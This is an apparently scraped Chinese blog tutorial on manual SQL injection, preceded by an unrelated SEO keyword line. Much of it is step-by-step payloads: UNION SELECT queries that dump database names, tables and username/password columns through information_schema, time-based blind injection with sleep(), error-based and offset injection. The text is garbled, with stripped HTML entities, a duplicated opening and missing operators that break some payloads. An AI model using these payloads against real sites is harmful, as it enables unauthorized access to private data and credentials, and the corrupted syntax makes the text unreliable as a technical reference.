广州制作网站开发,免费空间域名注册免备案,visual studio网站开发,广西临桂建设局网站ps:简单说下这里只写了我能理解的明白的#xff0c;后面的二阶注入#xff0c;堆叠注入没写
手工sql注入 1.存在sql注入本质上就是数据库过滤的不严格或者未进行过滤#xff0c;1 and 11#xff0c;返回正常#xff0c;1 and 12 返回不正常#xff0c;说明带到数据库里面…ps:简单说下这里只写了我能理解的明白的后面的二阶注入堆叠注入没写
手工sql注入 1.存在sql注入本质上就是数据库过滤的不严格或者未进行过滤1 and 11返回正常1 and 12 返回不正常说明带到数据库里面去查询给语句了这时候就可以判断存在sql注入了再来判断注入类型如果1 and 11 / 1 and 12 返回都正常说明直接给你过滤了或者说没带到数据库里面去查询说明不存在sql注入。 当然这里说的示一阶注入大多数网站都是来判断一阶注入也有二阶注入。 当然现在不用老方法来判断了现在可以用数字型(整形):id1/1 1/0 id2-1 id2-2 字符型id1 id1
2.判断数据库有多少列这里可以用order by语句 例id1 order by 3 (正常) id1 order by 4 (正常) id1 order by 5 (报错) 说明他的数据库就4列5就报错了4就是他的临界值也就是最大值 3.知道了他的数据库有多少列之后现在来判断注入点 可以用 union select语句 例id-1 union select 1,2,3,4 -- (这里简单说下1前面的符号是为了直接执行union select 后面的语句 --是为了过滤也就是注释掉 limit 0,1这个语句可以用#也是注释的意思)。 4.知道了那一列有注入点之后来爆数据库的相关信息比如数据库名啊数据库版本号啊数据库用户啊表名列明字段名字以及操作系统。 例id-1 union select 1,version(),database(),4这就能够知道他的数据库版本信息以及数据库名在用注入点来爆数据库的表名列名字段名操作系统版本等。 5.当然这里注意一下如果是mysql5.0以上版本的加了一个information_schema这是高版本自带的数据库以及information_schema.tables自带系统表informations_schema.columns自带系统字段表名table_name字段名column_nametable_name,库名table_schema 6.那么mysql高版本查询表名 例id-1 union select 1,2,group_concat(table_name),4 from informations_schema.tables where table_schemadatabase() #(database数据库名) 7.查询列名:id-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schemadatabase() and table_name123 8.查询列名中的数据 例id-1 union select group_concat(username),group_concat(~password) from 123 9.那么5.0以下查询数据 例:id-1 union select 1,2,字段名,4 from 表名
10.延时注入例:id1 and sleep(5) -- #就是延迟五秒 实例:username1 and sleep(2) --password123 来爆数据库长度:username1 and sleep(if((length(database())10),1,2)) --password123 sleep(2)延迟两秒if(判断条件是否成立成立就返回1不成立返回2) length(判断数据库长度是否为10) 11.爆表名的第一位是否是q: username1 and sleep (if((mid((select table_name from information_schema.tables where table_schemadatabase() limit 0,1)1,1)c),1,2)) --password123(就是把爆database是什么的语句换成那个了查询表名的语句)。 12.接下来爆字段名 username1 and sleep(if(mid((select column_name from information_schema.columns where table_nameqwert and table_schemadatabase() limit 0,1),1,1)y,1,2)) --password123 13.爆数据名第一位 username1 and sleep(if(mid(()select username from cab limit0,1),1,1)o,1,2)) --password123
14.报错注入他的原理就是一些特殊的函数错误的使用并输出错误的结果所导致的 最常见的报错注入函数有floor etractvalue updataxml floor报错主要是因为group by 插入数据时由于rand多次计算导致主键重复从而报错又因为报错前concat()中sql语句被执行导致语句报错被抛出主键是sql语句或执行后的结果。 偏移注入两列id1 union select 1,2,3,4,5,6,7,8,9,* from(admin as a inner join admin as b on a.idb.id)
三列d1 union select 123456789,* from((admin as a inner join admin as b on a.idb.id) inner join admin as c on a.idc.id